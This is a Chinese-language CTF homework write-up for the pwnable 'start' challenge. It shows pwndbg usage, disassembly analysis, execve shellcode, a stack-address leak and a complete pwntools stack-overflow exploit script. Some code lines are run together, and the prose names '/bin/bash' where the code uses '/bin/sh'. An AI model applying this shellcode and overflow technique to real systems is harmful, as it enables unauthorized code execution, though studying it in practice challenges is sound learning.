【二进制安全作业】250617课上作业4 - start

文章目录

  • 前言
  • 一、使用环境
  • 二、pwndbg介绍
    • 1. 命令介绍
    • 2. 界面介绍
  • 三、反汇编分析
  • 四、Shellcode
  • 五、解题思路
  • 六、编写EXP
  • 结语


前言

作业3遇到了很严重的问题,一直没搞定,先略过了,要讲的东西也一起放到这里讲吧。
这道题是 pwnable 的第一道题 start 。


一、使用环境

处理器架构:x86_64
操作系统:Ubuntu24.04.2
GDB版本:16.2
pwndbg:2025.05.30


二、pwndbg介绍

这次使用新工具 pwndbg 讲解(代替 gdb)。还没安装的可以在 环境搭建 最下面的 250616补充内容 中找到。

之前安装了一直也没有用,今天尝试了一下还是很舒服的,先做一些介绍。

1. 命令介绍

pwndbg 是 gdb 的插件,所以 gdb 里能用的,pwndbg 也都能用。还有一些额外的功能:

  • 内存搜索
    search <pattern>
    
    pattern:要搜索的内容。可以用来搜索程序包含的字符串
  • 查看栈内容
    stack <count>
    
    count:要查看的栈帧数,比用 x 命令来查要方便很多。但是一般用不到,因为 pwndbg 里默认就会显示栈。
  • 堆分析
    heap <addr>
    
    addr:堆块的第一个地址。暂时还没学到相关内容,没有用过。
  • ROP支持
    rop --grep <asm>
    
    不加选项时列出所有可用的 rop。
    可以使用 --grep 选项指定要匹配的 rop。
  • GOT/PLT表
    got
    plt
    
    got 可以查看全局偏移量表。
    plt 可以查看过程链接表。
  • 内存映射
    vmmap
    
    可以查看程序中各个段的情况
  • 查看文件安全
    checksec
    
    可以先在 pwndbg 中启动程序,然后用 checksec 查看安全信息,要方便一些。
  • 默认上下文视图
    context
    
    就是用 pwndbg 调试时默认的显示方式,如果因为某些原因导致显示的内容上滚得太远,又不方便让程序继续运行,可以用这个命令让调试窗口重新显示出来。

2. 界面介绍

pwndbg 的调试界面默认由四部分组成。

第一部分是寄存器:
在这里插入图片描述

以前经常看的内容,在 gdb 里要用 i(nfo) r(egisters) 查看。

第二部分是反汇编:
在这里插入图片描述
最主要的部分,在 gdb 里要用 disas(semble) 查看。

第三部分是栈:
在这里插入图片描述
很关键的部分,但是在 gdb 里看起来比较麻烦,要通过 x 查看 esp/rsp 附近的内存,在 pwndbg 里要方便很多。

第四部分是调用栈:
在这里插入图片描述
这里可以看到函数调用和返回的顺序,以前的案例都比较简单,所以很少用,在 gdb 里用 bt 查看。


三、反汇编分析

没有源码,我上传了一个附件,也可以在 pwnable 下载。

使用 pwndbg 启动程序,使用 start 命令执行:
在这里插入图片描述
这里就体现出 pwndbg 的优越性了,因为以前我用 gdb 调试过这个程序,gdb 的 start 要找 main 函数执行,所以并不能启动这个程序,需要用 objdump 或者 info functions 之类的方法先找到程序入口,打了断点,然后才能开始调试,用 pwndbg 就要简单很多,直接 start 就可以了。

忘了 checksec,补充一下,无伤大雅:
在这里插入图片描述

这里看不到完整的反汇编,可以用 disas 看一下:
在这里插入图片描述
一个简单而又纯粹的程序,没有任何一条多余的指令,看起来很漂亮。

注意这里是 intel 风格的汇编,如果有需要可以使用 set disassembly-flavor att 改为 AT&T 风格的汇编。

这个汇编程序大体可以分为四部分:
在这里插入图片描述
第一部分是准备工作。
首先压栈了一个 esp,这一步看似无用,对程序来说也确实没用,它唯一的意义是人为制造了一个漏洞……你懂的。
然后压栈了 _exit 函数的地址,在 pwndbg 的默认反汇编窗口可以看到这个地址是 _exit 函数。作用是预留给 ret 用于跳转到程序结束。
4 个 xor 指令用于清空寄存器。
最后 push 压栈字符串。看不出这段数据是什么也没关系,我们可以等它进栈了再看它是什么。

第二部分有一个很显眼的 int 0x80 ,在进行系统调用,所以要先看 eax 是什么,这里的 al 是 ax 寄存器的低 8 位,传送了一个 4 ,x86 架构的 4 号系统调用是 write ,这一部分的作用是输出一个字符串。

在这里再简单复习一下系统调用的用法。x86 架构下,使用 int 0x80 触发系统调用,触发时,eax 保存的值为系统调用号,ebx、ecx、edx、esi、edi 分别保存第一二三四五个参数。x86_64 架构下,使用 syscall 触发系统调用,rax 保存系统调用号,rdi、rsi、rdx、r10、r8、r9 分别保存第一二三四五六个参数。对于系统调用号和调用参数不熟悉的可以查阅这个 手册

第三部分同样有一个系统调用,观察 eax ,赋值的是 3 ,所以这里是 read 系统调用,要接收输入,接收长度在 edx,0x3c,共 60 字节。

第四部分是结束程序,esp + 20,指向 _exit 的位置,然后跳转,_exit 的具体实现就不管了,总之程序结束。

安全性上 Stack 的值是 No canary found ,可以栈溢出 。

esp 的移动只有20个字节,可输出的长度足有60个字节,显然这里是留给我们溢出的。但是用 objdump 或是 info functions 可以发现,这个程序并没有什么后门函数,所以不适用之前的通过栈溢出跳转到某个函数来拿到 shell 的方法。

但是它足有 60 个字节,就算前面要用于溢出和跳转,60 - 20 也还剩 40 个字节,并且 NX 的值是 NX disabled ,栈上可执行,所以我们就可以考虑自己写一个函数在栈上,通过执行它来获取shell了。

四、Shellcode

一个新的概念,什么是 shellcode ?用来获取 shell 的 code 就是 shellcode 。

无论什么编程语言,最终都要转换成汇编语言来执行,汇编语言就约等于供人类阅读的机器码,是运行最高效的编程语言,所以直接在内存上用二进制写 shellcode,可以做到极致的简洁且高效。

shellcode 的原理也很简单,就是执行一段汇编代码,这段汇编代码要执行类似于 execve 这种可以启动 shell 的系统调用。

使用

man 2 execve

可以看到原型如下:

int execve(const char *pathname, char *const _Nullable argv[],char *const _Nullable envp[]);

execve 的第一个参数是一个可以启动 shell 的命令字符串,接收一个指针常量,其实就是字符数组。在汇编中的体现,就是一个指向字符串的地址,字符串一般使用 “/bin/sh” 。第二个和第三个参数用 NULL。

转换成x86的汇编代码,就是在 eax 里存 execve 的系统调用号 11 ,ebx 里存指向 “/bin/sh” 的地址,ecx 和 edx 存 0,然后执行 int 0x80。

xor ecx, ecx	
xor edx, edx
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80

不知道为什么使用 AT&T 风格汇编会报错,只能用 intel 风格了,和 AT&T 风格最大的区别是源操作数在后,目的操作数在前。

前两行是给 ecx 和 edx 清零,第三行是给 eax 赋值 11 。
第四和第五行是把 “/bin/bash\0” 压栈,注意这里压栈的是数字,小端序的数字入栈时是低对低,高对高的,相对于字符串的顺序来说就是低位在前,高位在后,所以是倒序压栈的。
第六行是把 esp 的值传送给 ebx ,也就是把 “/bin/bash\0” 字符串的开始地址给 ebx 。
第七行是触发系统调用。

在 pwntools 中可以用 asm() 将这段汇编代码汇编为字节串。

输出一下 shellcode ,计算一下长度:

from pwn import *context.arch='amd64'
context.os='linux'
context.endian='little'shellcode=asm("""
xor ecx, ecx	
xor edx, edx
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80
""")s = [f"\\x{i:02x}" for i in shellcode]
print(''.join(s))
print(len(shellcode))

因为直接输出会有部分字符进行 ASCII 转换,所以稍微处理一下。当然不处理也没关系,一般来讲也没有必要特意输出出来,只要能正常执行,长度符合要求,字节串直接拿来用就好了。

输出结果:

在这里插入图片描述
shellcode 为 \x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
长度 23 字节。

五、解题思路

现在我们看懂了汇编代码,也有了 shellcode ,那剩下的问题就是,怎么让程序执行 shellcode ?

在这里插入图片描述

把断点打在输入之后:

b *_start+57

运行输入 ffff :
在这里插入图片描述
在栈中可以很轻松地看到,栈顶就是输入字符串的地方,地址在 0xffffd1b4 ,而跳转的地址在 0xffffd1c8 ,跳转目标是 _exit 函数。

可输入的长度是 60,跳转地址在第 21 到 24 字节,也就是偏移量是 20 ,可以放 shellcode 的内存为前 20 字节或后 36 字节,现在手里的 shellcode 长度为 23 字节,所以只能放在后 36 字节中,我们测试一下:

把跳转地址的 _exit 函数改为下一个存储单元:

set {int}0xffffd1c8=0xffffd1cc

再把下一个存储单元开始的内容替换为 shellcode :

set {char[24]}0xffffd1cc="\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

查看栈:
在这里插入图片描述
已经替换成功了,还可以看一眼 shellcode 的指令:
在这里插入图片描述
和我们写的汇编代码是一样的,既然栈是可以执行的,那理论上就是可以成功的,按 c 执行:
在这里插入图片描述
命令成功执行了,似乎是拿到了 shell ,但是 pwndbg 崩溃了,这个大概是 pwndbg 的问题,我们用 gdb 再来一遍。

在这里插入图片描述
打断点,执行,看栈,和刚才都是一样的,只是栈看起来要稍微麻烦一点,我标注了字符串开始的地方和跳转的地方,然后修改值:

set {int}0xffffd2d8=0xffffd2dc
set {char[24]}0xffffd2dc="\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

输入 c 执行:
在这里插入图片描述
已经成功拿到 shell 了,但是到这里就结束了吗?

从刚才实现的方式来看,如果要写 exp ,我们需要拿到函数返回的地址,而在 pwndbg 和 gdb 的两次测试中,这个地址是不一样的。栈的位置是随机的,我们没有办法把它写死,更没有办法拿到 ctf 服务器上栈的地址,所以现在的问题变成了,要如何获得栈的地址?

源程序的汇编代码中,有一条和栈高度相关的指令,也就是第一条的 push esp ,它把栈顶压入了栈中。

我们重新启动 pwndbg ,观察第一条指令:
在这里插入图片描述
执行指令之前,此时 esp 指向的地址是 0xffffd1d0 ,对于黑盒测试来说这个地址是未知的,也无法通过查看寄存器的方式查看它的实际地址,但是我们执行第一条指令:

在这里插入图片描述
push 相当于两条指令,先是移动 esp 指向前一个存储单元,然后再把 push 的操作数存在 esp 当前指向的位置,于是 esp 之前指向的地址 0xffffd1d0 现在被存在栈上 0xffffd1cc 的位置了。

而程序继续执行的话,会调用输出的函数,于是我们就有了获得这个栈中数据的机会。

继续观察程序运行,重点观察栈的变化:
在这里插入图片描述
仔细感受准备阶段中栈的变化,因为 pwndbg 对栈中的内容有一定的解析,已经很容易理解了。

之后的两个系统调用只会往内存中输入一个字符串,并不会对 esp 的位置产生影响,我们再次来到 _start+57 :
在这里插入图片描述
当前这一条指令的内容是 esp + 0x14 ,所以可以预见,执行完这一条指令之后,esp 指向的位置是 0xffffd1c8 。

再下一条指令是 ret ,ret 相当于 pop eip,会将 esp 指向存储单元的内容弹给 eip ,并让 esp 指向下一个存储单元,而下一个存储单元保存的内容,就是我们想要的栈的地址。如果此时能调用输出的系统调用把 esp 指向的内容输出出来,我们就可以得到这个地址,而这个程序中输出的系统调用输出字符串的地址来源正是 esp :

在这里插入图片描述
所以只要在跳转的时候,我们让程序跳转到输出的系统调用的位置,程序就会将这个地址输出出来,那么检验一下,将跳转地址修改到 write 系统调用准备参数的地方:

set {int}0xffffd1c8=0x08048087

执行程序:
在这里插入图片描述
此时程序经过 ret , esp 已经指向最初压栈 esp 的位置,准备执行 mov ecx, esp,要将 esp 指向的地址传给 ecx 用于 write 输出,继续执行:
在这里插入图片描述

这里 pwndbg 还贴心地显示了使用的系统调用和每个参数的值。

继续执行时输出了一段乱码:
在这里插入图片描述
write 是一个底层输出用的系统调用,会按照给定的字节数输出,而不是处理字符串逻辑,所以此时 write 想要把这个地址的内容以字符输出 20 字节,然而这里保存的不是 ASCII 值,而是地址,所以这里输出的应该是这一部分:
在这里插入图片描述

至于具体是怎么输出的就不研究了,我们只要在 pwntools 中接收前 4 个字节,就可以得到一个确切的地址了,剩下的只要通过这个地址计算偏移量就好了。

继续分析程序,下一步程序要进行 read 的系统调用,此时栈里的情况是这样的:
在这里插入图片描述
要注意,我们拿到的地址并不是此时栈顶的地址,而是栈顶地址中保存的下一个存储单元的地址。程序还会第二次接收输入,从当前栈顶位置开始输入,并且 esp 也会再一次 +20,之后会用 esp 指向位置保存的值作为地址来跳转。所以我们应该在字符串开始 +20 偏移量的位置写跳转的地址,在地址后面写 shellcode ,然后跳转到我们拿到的地址 +20 偏移量的位置执行 shellcode。

到这里思路已经明了,也不再做更多的测试了,直接开始写 EXP。

六、编写EXP

from pwn import *# 全局配置
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'shellcode = asm("""
xor ecx, ecx	
xor edx, edx
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80
""")# 记录系统调用 write 开始的地址
write_addr = p32(0x8048087)
# 偏移量
offset = 20with process('./start') as r:# 第一次溢出,跳转回 write 系统调用first = b'A' * offset + write_addrr.sendafter(b':', first)# 接收 4 个字节的地址esp_addr = u32(r.recv(4))# 第二次溢出,偏移量+shellcode地址+shellcodesecond = b'A' * offset + p32(esp_addr + offset) + shellcoder.send(second)r.interactive()

在这里插入图片描述
已经成功了,$ 前的一串字节串,就是第二次执行 write 输出的那 20 字节,去掉前 4 字节后剩下的部分,因为执行到 interactive() 就一起输出出来了。

要想拿下 flag ,只要把 process 改成 remote ,参数给域名和端口号就可以了。


结语

虽然前段时间就把这个做出来了,但是也没敢发,逻辑很绕,细讲太难讲了,也没想到这么快就学到这道题了。今天挺艰难地算是写出来了,不知道大家接受的怎么样?欢迎留言讨论。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/84396.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/84396.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【vivado中实现时序仿真】

这里写自定义目录标题 如何在vivado中实现时序仿真准备工作设计输入与管理综合与实现仿真与调试IP核与重用硬件编程与配置设计分析与优化跨平台支持与兼容性编写测试激励代码运行时序仿真查看和分析结果高级技巧 如何在vivado中实现时序仿真 在Vivado中进行时序仿真&#xff0…

运维常用命令

目录 一、系统监控与性能分析 vmstat命令 一、命令语法及核心参数 二、输出字段解析&#xff08;关键列&#xff09; 三、工作场景案例 1. 排查 CPU 瓶颈 2. 内存不足导致 Swap 频繁 3. 磁盘 I/O 性能问题 4. 系统卡顿实时监控 5. 高级用法&#xff1a;统计内存事件 …

代码随想录day10栈和队列1

文章目录 数组模拟栈栈的应用 单调栈栈(stack) 数组模拟队列队列stl(queue)双端队列stl(deque)滑动窗口单调队列 232.用栈实现队列225. 用队列实现栈20. 有效的括号1047. 删除字符串中的所有相邻重复项 数组模拟栈 题目链接 #include <iostream> #include <cstdio&g…

Unity 把广告收入(revenue)上报到AppsFlyer

文章目录 第一步第二步 官方文档 第一步 升级版本 如果你的AppsFlyer版本大于文档中要求的6.15以上&#xff0c;即可跳过第一步 在unity这里可以看到AppsFlyer版本 下载最新版本地址 在这个位置&#xff0c;单独下载这个unitypackage包就行 如果是用srict-mode(严格模式)…

2023年蓝桥杯青少第十四届蓝桥杯Scratch省赛中级组真题——小狗避障

小伙伴们&#xff0c;7月的全国信息素养大赛复赛准备得怎么样了&#xff1f;推荐到家做完信息素养大赛的历年真题后&#xff0c;可以有选择性的做做蓝桥杯青少的编程题&#xff0c;质量还是蛮好的&#xff5e; 下面这道是&#xff1a; 2023年蓝桥杯青少第十四届蓝桥杯Scratch…

为复杂iOS应用实施多重安全保护:从Ipa混淆到加密的完整安全方案

在现代移动应用的开发过程中&#xff0c;尤其是那些涉及用户隐私、支付或企业敏感数据的应用&#xff0c;安全问题早已成为不可忽视的核心问题。iOS系统由于其相对封闭的生态和严格的审核机制&#xff0c;通常被认为具有较高的安全性。然而&#xff0c;随着破解技术的发展&…

docker 如何优化容器启动时间

优化 Docker 容器启动时间&#xff0c;尤其在大规模部署、CI/CD 或微服务架构中非常关键。启动慢会影响响应时间、弹性扩缩容和用户体验。以下是从镜像构建、容器运行、依赖管理等多个方面整理的 容器启动加速方案&#xff1a; 一、优化镜像构建&#xff08;启动慢 ≈ 镜像臃肿…

基于 Python Django 框架的宠物医院管理系统设计与实现

摘要 本研究针对传统宠物医院管理模式存在的效率低下、信息不共享、服务流程繁琐等问题&#xff0c;设计并实现了一个基于 Python Django 框架的宠物医院管理系统。系统采用 B/S 架构&#xff0c;整合了客户管理、宠物管理、医生管理、诊疗管理、药品管理、库存管理、财务管理…

6612345(Web打印浏览器) 开发历程

6612345(Web打印浏览器) 开发历程 2022年7月,由于chrome新版本的限制, HttpPrinter(Web打印插件) 从http协议转为websocket协议. 为了提前预防chrome后续版本(至于哪个版本,我们也不知道)无法和本地插件通信,我们重新定制了一款chrome浏览器.绕过通讯限制. 首个版本,基于微软…

信安实验室CTF writeup

文章目录 1、白给签到2、Welcome3、Get4、Post5、滴滴滴6、每逢佳节7、Bacon8、古典变奏9、affine10、affine-revenge11、Random_encrypt12、easy_re13、re114、ez_xor15、maze16、easy_php17、easy_bypass18、Autumn19、easy_Cookie20、[白给] 连上就给flag21、小兔子22、我在…

【入门级-基础知识与编程环境:NOI以及相关活动的历史】

NOI 及相关活动的历史如下&#xff1a; 1984 年&#xff1a;邓小平同志提出 “计算机的普及要从娃娃抓起”。为响应这一号召&#xff0c;中国计算机学会&#xff08;CCF&#xff09;于当年自主创建了面向中学生的 “全国青少年程序设计竞赛”&#xff0c;当年参加竞赛的有 8000…

微软应用商店打不开怎么办2025,打开TLS1.3

微软应用商店打不开怎么办? 应用商店打不开 步骤如下 1. “Internet选项”、“高级”&#xff0c;进行设置 注意&#xff1a;将“使用TSL 1.2”和“使用TSL 1.3”都勾选上&#xff0c;再点击“应用” 应该最主要是TLS1.3&#xff0c;我之前TLS1.2开了的。 2. 选择“连接”…

C/C++ 高频八股文面试题1000题(一)

原作者&#xff1a;Linux教程&#xff0c;原文地址&#xff1a;C/C 高频八股文面试题1000题(一) 在准备技术岗位的求职过程中&#xff0c;C/C始终是绕不开的核心考察点。无论是互联网大厂的笔试面试&#xff0c;还是嵌入式、后台开发、系统编程等方向的岗位&#xff0c;C/C 都…

JetBrains IDE v2025.1 升级,AI 智能+语言支持齐飞

2025.1 大版本同步上线&#xff0c;JetBrains 家族全员升级&#xff01;不只是性能提升&#xff0c;更有 AI 驱动开发、大语言支持、终端大改&#xff0c;为开发者带来真正的生产力飞跃。接下来&#xff0c;一起来看看 IntelliJ IDEA、PyCharm、GoLand、CLion 等产品的重磅亮点…

高性能群集部署技术-LVS+Keepalived高可用群集

目录 #1.1Keepalived双机热备基础知识 1.1.1Keepalived概述及安装 1.1.2Keepalived的热备方式 1.1.3Keepalived的安装与服务控制 #2.1使用Keeplived实现双机热备 2.1.1主服务器的配置 2.1.2备用服务器的配置 2.1.3测试双机热备功能 #3.1使用Keeplived实现双机热备的实验案例…

ros中相机话题在web页面上的显示,尝试js解析sensor_msgs/Image数据

ros中相机话题在web页面上的显示 思路&#xff1a; rosbridge websocket 开启ros与web的通路&#xff0c; 话题数据转换为image或者绘制在 canvas中。 话题格式&#xff1a; sensor_msgs/Image 测试数据编码类型为bgr8 尝试&#xff1a; 解析 为bitmap arraybuffer 写入bgr…

PowerShell批量处理文件名称/内容的修改

在日常的文件管理与处理中&#xff0c;常常需要对大量文件名或文件内容进行修改&#xff0c;而手动逐个操作既繁琐又容易出错。PowerShell作为一种强大的脚本语言&#xff0c;为我们提供了高效批量处理文件名及内容修改的解决方案。通过编写简单的PowerShell脚本&#xff0c;可…

GA3C(GPU/CPU混合式异步优势Actor-Critic)算法实现控制倒立摆

GA3C算法实现倒立摆 完整代码在文章结尾 GA3C算法 GPU/CPU混合式异步优势AC算法&#xff0c;是由A3C算法进一步优化而来&#xff0c;为了更好利用GPU计算资源。 GA3C理论上与A3C相同&#xff0c;属于On-Policy。但由于存在延迟更新问题&#xff0c;导致用于策略更新的数据并…

基础RAG实现,最佳入门选择(六)

带有问题生成的文档增强RAG 通过问题生成使用文档增强来实现增强的RAG方法。通过为每个文本块生成相关问题&#xff0c;改进了检索过程&#xff0c;从而从语言模型中获得更好的响应。 具体实现步骤 1.数据摄取&#xff1a;从PDF文件中提取文本。 2.chunking&#xff1a;将文本…

vue3 电商类网站实现规格的选择

目前有一个这样的需求 类似淘宝 京东选择 但是在人家大厂给的数据我不清除是什么样子的 我这边后端给的数据 一开始是想把规格全部显示出来的 发现实现不了 后端的数据有限 因为必须选择一个颜色 才可以对应的第二个规格 才知道有没有库存 因为这个库存 是由两个规格决定…